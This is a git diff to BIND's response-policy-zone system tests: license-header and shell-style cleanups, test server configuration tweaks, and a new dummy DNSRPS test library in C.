@@ -52,6 +54,6 @@ zone "policy2" {
 	file "policy2.db";
 	also-notify { 10.53.0.3 port @EXTRAPORT1@; };
 	notify-delay 0;
-	allow-transfer  { any; };
+	allow-transfer	{ any; };
 	request-ixfr no; // force axfr on rndc reload
 };
diff --git a/bin/tests/system/rpz/ns8/hints b/bin/tests/system/rpz/ns8/hints
index 28e5850c4f..b657c3980e 100644
--- a/bin/tests/system/rpz/ns8/hints
+++ b/bin/tests/system/rpz/ns8/hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns8/manual-update-rpz.db.in b/bin/tests/system/rpz/ns8/manual-update-rpz.db.in
index 0a15b611db..a823448515 100644
--- a/bin/tests/system/rpz/ns8/manual-update-rpz.db.in
+++ b/bin/tests/system/rpz/ns8/manual-update-rpz.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns8/named.conf.in b/bin/tests/system/rpz/ns8/named.conf.in
index 7f241c115a..aa8b342d99 100644
--- a/bin/tests/system/rpz/ns8/named.conf.in
+++ b/bin/tests/system/rpz/ns8/named.conf.in
@@ -1,15 +1,16 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-
 /*
  * Main rpz test DNS server.
  */
@@ -49,7 +50,7 @@ logging { category rpz { default_debug; }; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 controls {
 	inet 10.53.0.8 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
diff --git a/bin/tests/system/rpz/ns9/hints b/bin/tests/system/rpz/ns9/hints
index 28e5850c4f..b657c3980e 100644
--- a/bin/tests/system/rpz/ns9/hints
+++ b/bin/tests/system/rpz/ns9/hints
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns9/named.conf.in b/bin/tests/system/rpz/ns9/named.conf.in
index 1b15071b82..0d3fce7852 100644
--- a/bin/tests/system/rpz/ns9/named.conf.in
+++ b/bin/tests/system/rpz/ns9/named.conf.in
@@ -1,15 +1,16 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
  */
 
-
 /*
  * DNS64 / RPZ server.
  */
@@ -29,7 +30,7 @@ options {
 	recursion yes;
 	dnssec-validation yes;
 	dns64-server "example.localdomain.";
-        dns64 64:ff9b::/96 { };
+	dns64 64:ff9b::/96 { };
 	response-policy {
 	    zone "rpz";
 	}
@@ -43,7 +44,7 @@ logging { category rpz { default_debug; }; };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 controls {
 	inet 10.53.0.9 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
diff --git a/bin/tests/system/rpz/ns9/rpz.db b/bin/tests/system/rpz/ns9/rpz.db
index 98ebf01ac2..77679873c6 100644
--- a/bin/tests/system/rpz/ns9/rpz.db
+++ b/bin/tests/system/rpz/ns9/rpz.db
@@ -1,5 +1,17 @@
-rpz.                                    28800 IN SOA      rpz. hostmaster.rpz. 6 10800 3600 2419200 900
-rpz.                                    28800 IN NS       .
-a-only.example.rpz.                     28800 IN CNAME    *.
-no-a-no-aaaa.example.rpz.               28800 IN CNAME    *.
-a-plus-aaaa.example.rpz.                28800 IN CNAME    *.
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+$TTL 28800
+rpz.                                    IN SOA      rpz. hostmaster.rpz. 6 10800 3600 2419200 900
+rpz.                                    IN NS       .
+a-only.example                          CNAME    *.
+no-a-no-aaaa.example                    CNAME    *.
+a-plus-aaaa.example                     CNAME    *.
diff --git a/bin/tests/system/rpz/qperf.sh b/bin/tests/system/rpz/qperf.sh
index 52d0511714..146d1e2234 100644
--- a/bin/tests/system/rpz/qperf.sh
+++ b/bin/tests/system/rpz/qperf.sh
@@ -1,17 +1,19 @@
-#! /bin/sh
-#
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
-for QDIR in `echo "$PATH" | tr : ' '` ../../../../contrib/queryperf; do
+for QDIR in $(echo "$PATH" | tr : ' ') ../../../../contrib/queryperf; do
     QPERF=$QDIR/queryperf
-    if test -f $QPERF -a -x $QPERF; then
+    if test -f "$QPERF" -a -x "$QPERF"; then
 	echo $QPERF
 	exit 0
     fi
diff --git a/bin/tests/system/rpz/setup.sh b/bin/tests/system/rpz/setup.sh
index 93cb3ecb73..cc102c2f59 100644
--- a/bin/tests/system/rpz/setup.sh
+++ b/bin/tests/system/rpz/setup.sh
@@ -1,9 +1,11 @@
-#! /bin/sh
-#
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,7 +17,7 @@ set -e
 
 . ../conf.sh
 
-QPERF=`$SHELL qperf.sh`
+QPERF=$($SHELL qperf.sh)
 
 USAGE="$0: [-DNx]"
 DEBUG=
@@ -27,7 +29,7 @@ while getopts "DNx" c; do
 	*) echo "$USAGE" 1>&2; exit 1 ;;
     esac
 done
-shift `expr $OPTIND - 1 || true`
+shift $((OPTIND - 1))
 if test "$#" -ne 0; then
     echo "$USAGE" 1>&2
     exit 1
@@ -51,14 +53,15 @@ copy_setports ns6/named.conf.in ns6/named.conf
 copy_setports ns7/named.conf.in ns7/named.conf
 copy_setports ns8/named.conf.in ns8/named.conf
 copy_setports ns9/named.conf.in ns9/named.conf
+copy_setports ns10/named.conf.in ns10/named.conf
 
-copy_setports dnsrpzd.conf.in dnsrpzd.conf
+copy_setports dnsrps.zones.in dnsrps.zones
 
 # decide whether to test DNSRPS
-# Note that dnsrps.conf and dnsrps-slave.conf are included in named.conf
-# and differ from dnsrpz.conf which is used by dnsrpzd.
-$SHELL ../ckdnsrps.sh -A $TEST_DNSRPS $DEBUG
-test -z "`grep 'dnsrps-enable yes' dnsrps.conf`" && TEST_DNSRPS=
+# Note that dnsrps.conf is included in named.conf
+$SHELL ../ckdnsrps.sh $TEST_DNSRPS $DEBUG
+test -z "$(grep 'testing with DNSRPS' dnsrps.conf)" && TEST_DNSRPS=
+touch dnsrps.cache
 
 # set up test policy zones.
 #   bl is the main test zone
@@ -84,11 +87,11 @@ cp ns5/expire.conf.in ns5/expire.conf
 # $3=input zone file
 # $4=output file
 signzone () {
-    KEYNAME=`$KEYGEN -q -a rsasha256 -K $1 $2`
+    KEYNAME=$($KEYGEN -q -a ${DEFAULT_ALGORITHM} -K $1 $2)
     cat $1/$3 $1/$KEYNAME.key > $1/tmp
     $SIGNER -P -K $1 -o $2 -f $1/$4 $1/tmp >/dev/null
     sed -n -e 's/\(.*\) IN DNSKEY \([0-9]\{1,\} [0-9]\{1,\} [0-9]\{1,\}\) \(.*\)/trust-anchors {"\1" static-key \2 "\3";};/p' $1/$KEYNAME.key >>trusted.conf
-    DSFILENAME=dsset-${2}${TP}
+    DSFILENAME=dsset-${2}.
     rm $DSFILENAME $1/tmp
 }
 signzone ns2 tld2s base-tld2s.db tld2s.db
@@ -165,11 +168,4 @@ $PERL -e 'for ($cnt = $val = 1; $cnt <= 3000; ++$cnt) {
 cp ns2/bl.tld2.db.in ns2/bl.tld2.db
 cp ns5/empty.db.in ns5/empty.db
 cp ns5/empty.db.in ns5/policy2.db
-
-# Run dnsrpzd to get the license and prime the static policy zones
-if test -n "$TEST_DNSRPS"; then
-   DNSRPZD="`../rpz/dnsrps -p`"
-   cd ns3
-   "$DNSRPZ" -D../dnsrpzd.rpzf -S../dnsrpzd.sock -C../dnsrpzd.conf \
-             -w 0 -dddd -L stdout >./dnsrpzd.run 2>&1
-fi
+cp ns6/bl.tld2s.db.in ns6/bl.tld2s.db
diff --git a/bin/tests/system/rpz/test1 b/bin/tests/system/rpz/test1
index f6292530da..3dc0375e44 100644
--- a/bin/tests/system/rpz/test1
+++ b/bin/tests/system/rpz/test1
@@ -1,14 +1,17 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
 
 
+
 ; Use comment lines instead of blank lines to combine update requests into
 ;	single requests
 ; Separate update requests for distinct TLDs with blank lines or 'send'
diff --git a/bin/tests/system/rpz/test2 b/bin/tests/system/rpz/test2
index 29f302c039..ad71e3ae56 100644
--- a/bin/tests/system/rpz/test2
+++ b/bin/tests/system/rpz/test2
@@ -1,14 +1,17 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
 
 
+
 ; Use comment lines instead of blank lines to combine update requests into
 ;	single requests
 ; Separate update requests for distinct TLDs with blank lines or 'send'
diff --git a/bin/tests/system/rpz/test3 b/bin/tests/system/rpz/test3
index 225b74fc5f..222b7576ac 100644
--- a/bin/tests/system/rpz/test3
+++ b/bin/tests/system/rpz/test3
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/test4 b/bin/tests/system/rpz/test4
index 0c909fca41..7b95dd39c3 100644
--- a/bin/tests/system/rpz/test4
+++ b/bin/tests/system/rpz/test4
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/test4a b/bin/tests/system/rpz/test4a
index fdc388e7d7..83a175d79f 100644
--- a/bin/tests/system/rpz/test4a
+++ b/bin/tests/system/rpz/test4a
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/test5 b/bin/tests/system/rpz/test5
index 1a3747c637..f30a6be16a 100644
--- a/bin/tests/system/rpz/test5
+++ b/bin/tests/system/rpz/test5
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/test6 b/bin/tests/system/rpz/test6
index ec04681b4a..e5c238157d 100644
--- a/bin/tests/system/rpz/test6
+++ b/bin/tests/system/rpz/test6
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/testlib/Makefile.am b/bin/tests/system/rpz/testlib/Makefile.am
new file mode 100644
index 0000000000..6271fdb3fa
--- /dev/null
+++ b/bin/tests/system/rpz/testlib/Makefile.am
@@ -0,0 +1,12 @@
+include $(top_srcdir)/Makefile.top
+
+AM_CPPFLAGS +=			\
+	$(LIBISC_CFLAGS)	\
+	$(LIBDNS_CFLAGS)
+
+AM_CFLAGS += -Wall -pedantic
+
+noinst_LTLIBRARIES = libdummyrpz.la
+libdummyrpz_la_SOURCES= dummylib.c test-data.c trpz.h test-data.h
+libdummyrpz_la_LDFLAGS = -avoid-version -module -shared -export-dynamic -rpath $(abs_builddir)
+LDADD += -lpthread $(DLOPEN_LIBS)
diff --git a/bin/tests/system/rpz/testlib/dummylib.c b/bin/tests/system/rpz/testlib/dummylib.c
new file mode 100644
index 0000000000..d9ebdd306d
--- /dev/null
+++ b/bin/tests/system/rpz/testlib/dummylib.c
@@ -0,0 +1,2230 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Limited implementation of the DNSRPS API for testing purposes.
+ *
+ * Copyright (c) 2016-2017 Farsight Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *	http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <arpa/inet.h>
+#include <assert.h>
+#include <ctype.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <time.h>
+#include <unistd.h>
+
+#include <isc/endian.h>
+#include <isc/util.h>
+
+#include <dns/librpz.h>
+
+#include "test-data.h"
+#include "trpz.h"
+
+librpz_log_fnc_t *g_log_fnc = NULL;
+const char *g_prog_nm = NULL;
+bool g_scan_data_file_for_errors = true;
+
+typedef struct {
+	void *mutex_ctx;
+	void *log_ctx;
+	librpz_mutex_t *mutex_lock_fn;
+	librpz_mutex_t *mutex_unlock_fn;
+	librpz_mutex_t *mutex_destroy_fn;
+} trpz_clist_t;
+
+typedef struct {
+	char *cstr;
+	bool uses_expired;
+	trpz_clist_t *pclist;
+} trpz_client_t;
+
+typedef struct {
+	size_t idx; /* value only used for node iteration */
+	trpz_client_t *client;
+	bool have_rd;
+	char zone[256];
+	char domain[256];
+	size_t zidx;
+	trpz_result_t rstack[LIBRPZ_RSP_STACK_DEPTH];
+	size_t stack_idx;
+	trpz_zone_t *all_zones;
+	trpz_result_t *all_nodes;
+	size_t num_zones, num_nodes;
+	ssize_t last_zone;
+	ssize_t *base_zones;
+	size_t nbase_zones;
+} trpz_rsp_t;
+
+librpz_log_level_t g_log_level = LIBRPZ_LOG_TRACE2;
+FILE *g_log_outf = NULL;
+
+static int
+apply_all_updates(trpz_rsp_t *trsp);
+static void
+clear_all_updates(trpz_rsp_t *trsp);
+
+static bool
+domain_ntop(const u_char *src, char *dst, size_t dstsiz);
+static bool
+domain_pton2(const char *src, u_char *dst, size_t dstsiz, size_t *dstlen,
+	     bool lower);
+
+void
+trpz_set_log(librpz_log_fnc_t *new_log, const char *prog_nm);
+void
+trpz_vlog(librpz_log_level_t level, void *ctx, const char *p, va_list args)
+	LIBRPZ_PF(3, 0);
+void
+trpz_log(librpz_log_level_t level, void *ctx, const char *p, ...)
+	LIBRPZ_PF(3, 4);
+librpz_log_level_t
+trpz_log_level_val(librpz_log_level_t level);
+void
+trpz_vpemsg(librpz_emsg_t *emsg, const char *p, va_list args) LIBRPZ_PF(2, 0);
+void
+trpz_pemsg(librpz_emsg_t *emsg, const char *fmt, ...) LIBRPZ_PF(2, 3);
+librpz_clist_t *
+trpz_clist_create(librpz_emsg_t *emsg, librpz_mutex_t *lock,
+		  librpz_mutex_t *unlock, librpz_mutex_t *mutex_destroy,
+		  void *mutex_ctx, void *log_ctx);
+void
+trpz_clist_detach(librpz_clist_t **clistp);
+bool
+trpz_connect(librpz_emsg_t *emsg, librpz_client_t *client, bool optional);
+librpz_client_t *
+trpz_client_create(librpz_emsg_t *emsg, librpz_clist_t *clist, const char *cstr,
+		   bool use_expired);
+void
+trpz_client_detach(librpz_client_t **clientp);
+bool
+trpz_rsp_create(librpz_emsg_t *emsg, librpz_rsp_t **rspp, int *min_ns_dotsp,
+		librpz_client_t *client, bool have_rd, bool have_do);
+void
+trpz_rsp_detach(librpz_rsp_t **rspp);
+bool
+trpz_rsp_push(librpz_emsg_t *emsg, librpz_rsp_t *rsp);
+bool
+trpz_rsp_pop(librpz_emsg_t *emsg, librpz_result_t *result, librpz_rsp_t *rsp);
+bool
+trpz_rsp_pop_discard(librpz_emsg_t *emsg, librpz_rsp_t *rsp);
+bool
+trpz_rsp_domain(librpz_emsg_t *emsg, librpz_domain_buf_t *owner,
+		librpz_rsp_t *rsp);
+bool
+trpz_rsp_result(librpz_emsg_t *emsg, librpz_result_t *result, bool recursed,
+		const librpz_rsp_t *rsp);
+bool
+trpz_rsp_soa(librpz_emsg_t *emsg, uint32_t *ttlp, librpz_rr_t **rrp,
+	     librpz_domain_buf_t *origin, librpz_result_t *result,
+	     librpz_rsp_t *rsp);
+bool
+trpz_rsp_rr(librpz_emsg_t *emsg, uint16_t *typep, uint16_t *classp,
+	    uint32_t *ttlp, librpz_rr_t **rrp, librpz_result_t *result,
+	    const uint8_t *qname, size_t qname_size, librpz_rsp_t *rsp);
+bool
+trpz_ck_domain(librpz_emsg_t *emsg, const uint8_t *domain, size_t domain_size,
+	       librpz_trig_t trig, librpz_result_id_t hit_id, bool recursed,
+	       librpz_rsp_t *rsp);
+bool
+trpz_ck_ip(librpz_emsg_t *emsg, const void *addr, uint family,
+	   librpz_trig_t trig, librpz_result_id_t hit_id, bool recursed,
+	   librpz_rsp_t *rsp);
+bool
+trpz_rsp_clientip_prefix(librpz_emsg_t *emsg, librpz_prefix_t *prefix,
+			 librpz_rsp_t *rsp);
+bool
+trpz_have_trig(librpz_trig_t trig, bool ipv6, const librpz_rsp_t *rsp);
+bool
+trpz_rsp_forget_zone(librpz_emsg_t *emsg, librpz_cznum_t znum,
+		     librpz_rsp_t *rsp);
+char *
+trpz_vers_stats(librpz_emsg_t *emsg, librpz_rsp_t *rsp);
+bool
+trpz_soa_serial(librpz_emsg_t *emsg, uint32_t *serialp, const char *domain_nm,
+		librpz_rsp_t *rsp);
+const char *
+trpz_policy2str(librpz_policy_t policy, char *buf, size_t buf_size);
+
+#define BASE_ZONE_ANY	  -1
+#define BASE_ZONE_INVALID -2
+
+librpz_0_t LIBRPZ_DEF = {
+	.dnsrpzd_path = "test-only",
+	.version = "0.0",
+	.log_level_val = trpz_log_level_val,
+	.set_log = trpz_set_log,
+	.vpemsg = trpz_vpemsg,
+	.pemsg = trpz_pemsg,
+	.vlog = trpz_vlog,
+	.log = trpz_log,
+	.clist_create = trpz_clist_create,
+	.clist_detach = trpz_clist_detach,
+	.client_create = trpz_client_create,
+	.connect = trpz_connect,
+	.client_detach = trpz_client_detach,
+	.rsp_create = trpz_rsp_create,
+	.rsp_detach = trpz_rsp_detach,
+	.rsp_result = trpz_rsp_result,
+	.have_trig = trpz_have_trig,
+	.rsp_domain = trpz_rsp_domain,
+	.rsp_rr = trpz_rsp_rr,
+	.rsp_soa = trpz_rsp_soa,
+	.soa_serial = trpz_soa_serial,
+	.rsp_push = trpz_rsp_push,
+	.rsp_pop = trpz_rsp_pop,
+	.rsp_pop_discard = trpz_rsp_pop_discard,
+	.rsp_forget_zone = trpz_rsp_forget_zone,
+	.ck_ip = trpz_ck_ip,
+	.ck_domain = trpz_ck_domain,
+	.policy2str = trpz_policy2str,
+};
+
+/*
+ * Returns whether or not searching in the specified zone, by index, is
+ * permitted. A client/RSP state can support a variable number of configured
+ * zones.
+ */
+static bool
+has_base_zone(trpz_rsp_t *trsp, ssize_t zone) {
+	size_t n;
+
+	if (trsp == NULL || trsp->base_zones == NULL || trsp->nbase_zones == 0)
+	{
+		return (false);
+	}
+
+	for (n = 0; n < trsp->nbase_zones; n++) {
+		if (trsp->base_zones[n] == BASE_ZONE_ANY ||
+		    trsp->base_zones[n] == zone)
+		{
+			return (true);
+		}
+	}
+
+	return (false);
+}
+
+static bool
+pack_soa_record(unsigned char *rdatap, size_t rbufsz, size_t *rdlenp,
+		const rpz_soa_t *psoa) {
+	size_t needed = (sizeof(uint32_t) * 5) + strlen(psoa->mname) + 2 +
+			strlen(psoa->rname) + 2;
+	size_t mlen = 0, rlen = 0, used = 0;
+
+	if (needed > rbufsz) {
+		return (false);
+	}
+
+	if (!domain_pton2(psoa->mname, rdatap, rbufsz, &rlen, true)) {
+		return (false);
+	}
+
+	if (!domain_pton2(psoa->rname, rdatap + rlen, rbufsz - rlen, &mlen,
+			  true))
+	{
+		return (false);
+	}
+
+	used = rlen + mlen;
+
+	rdatap += rlen + mlen;
+	ISC_U32TO8_BE(rdatap, psoa->serial);
+	rdatap += 4;
+	ISC_U32TO8_BE(rdatap, psoa->refresh);
+	rdatap += 4;
+	ISC_U32TO8_BE(rdatap, psoa->retry);
+	rdatap += 4;
+	ISC_U32TO8_BE(rdatap, psoa->expire);
+	rdatap += 4;
+	ISC_U32TO8_BE(rdatap, psoa->minimum);
+	used += (4 * 5);
+
+	SET_IF_NOT_NULL(rdlenp, used);
+
+	return (true);
+}
+
+static void
+do_log(librpz_log_level_t level, void *ctx, const char *fmt, va_list args)
+	LIBRPZ_PF(3, 0);
+static void
+do_log(librpz_log_level_t level, void *ctx, const char *fmt, va_list args) {
+	if (level > g_log_level) {
+		return;
+	}
+
+	if (g_log_fnc != NULL) {
+		char lbuf[8192] = { 0 };
+
+		vsnprintf(lbuf, sizeof(lbuf) - 1, fmt, args);
+		g_log_fnc(level, ctx, lbuf);
+		return;
+	}
+
+	if (g_log_outf == NULL) {
+		return;
+	}
+
+	vfprintf(g_log_outf, fmt, args);
+	fprintf(g_log_outf, "\n");
+	return;
+}
+
+void
+trpz_vlog(librpz_log_level_t level, void *ctx, const char *p, va_list args) {
+	do_log(level, ctx, p, args);
+	return;
+}
+
+void
+trpz_log(librpz_log_level_t level, void *ctx, const char *p, ...) {
+	va_list ap;
+
+	va_start(ap, p);
+	trpz_vlog(level, ctx, p, ap);
+	va_end(ap);
+
+	return;
+}
+
+void
+trpz_set_log(librpz_log_fnc_t *new_log, const char *prog_nm) {
+	assert(new_log != NULL || prog_nm != NULL);
+
+	if (new_log != NULL) {
+		g_log_fnc = new_log;
+	}
+
+	if (prog_nm != NULL) {
+		g_prog_nm = prog_nm;
+	}
+}
+
+librpz_log_level_t
+trpz_log_level_val(librpz_log_level_t level) {
+	if (level >= LIBRPZ_LOG_INVALID) {
+		return (g_log_level);
+	}
+
+	g_log_level = (level < LIBRPZ_LOG_FATAL) ? LIBRPZ_LOG_FATAL : level;
+
+	return (g_log_level);
+}
+
+void
+trpz_vpemsg(librpz_emsg_t *emsg, const char *p, va_list args) {
+	if (emsg == NULL) {
+		return;
+	}
+
+	vsnprintf(emsg->c, sizeof(emsg->c), p, args);
+	emsg->c[sizeof(emsg->c) - 1] = 0;
+	return;
+}
+
+void
+trpz_pemsg(librpz_emsg_t *emsg, const char *fmt, ...) {
+	va_list ap;
+
+	va_start(ap, fmt);
+	trpz_vpemsg(emsg, fmt, ap);
+	va_end(ap);
+
+	return;
+}
+
+/*
+ * Scan the data file for errors and log anything found that's critically
+ * wrong.
+ */
+static void
+scan_data_file_for_errors(void *lctx) {
+	char *updfile = NULL, *fname = NULL, *last = NULL;
+	char *tmp = NULL;
+
+	updfile = getenv("DNSRPS_TEST_UPDATE_FILE");
+	if (updfile == NULL) {
+		return;
+	}
+
+	tmp = strdup(updfile);
+	if (tmp == NULL) {
+		return;
+	}
+
+	fname = strtok_r(tmp, ":", &last);
+
+	while (fname) {
+		char *errp = NULL;
+		int ret;
+
+		ret = sanity_check_data_file(fname, &errp);
+
+		if ((ret < 0) && errp) {
+			trpz_log(LIBRPZ_LOG_ERROR, lctx, "%s", errp);
+			free(errp);
+		}
+
+		fname = strtok_r(NULL, ":", &last);
+	}
+	free(tmp);
+
+	return;
+}
+
+librpz_clist_t *
+trpz_clist_create(librpz_emsg_t *emsg, librpz_mutex_t *lock,
+		  librpz_mutex_t *unlock, librpz_mutex_t *mutex_destroy,
+		  void *mutex_ctx, void *log_ctx) {
+	trpz_clist_t *result = NULL;
+
+	result = calloc(1, sizeof(*result));
+	if (result == NULL) {
+		trpz_pemsg(emsg, "calloc: %s", strerror(errno));
+		return (NULL);
+	}
+
+	result->mutex_ctx = mutex_ctx;
+	result->log_ctx = log_ctx;
+	result->mutex_lock_fn = lock;
+	result->mutex_unlock_fn = unlock;
+	result->mutex_destroy_fn = mutex_destroy;
+
+	if (g_scan_data_file_for_errors) {
+		scan_data_file_for_errors(log_ctx);
+	}
+
+	return ((librpz_clist_t *)result);
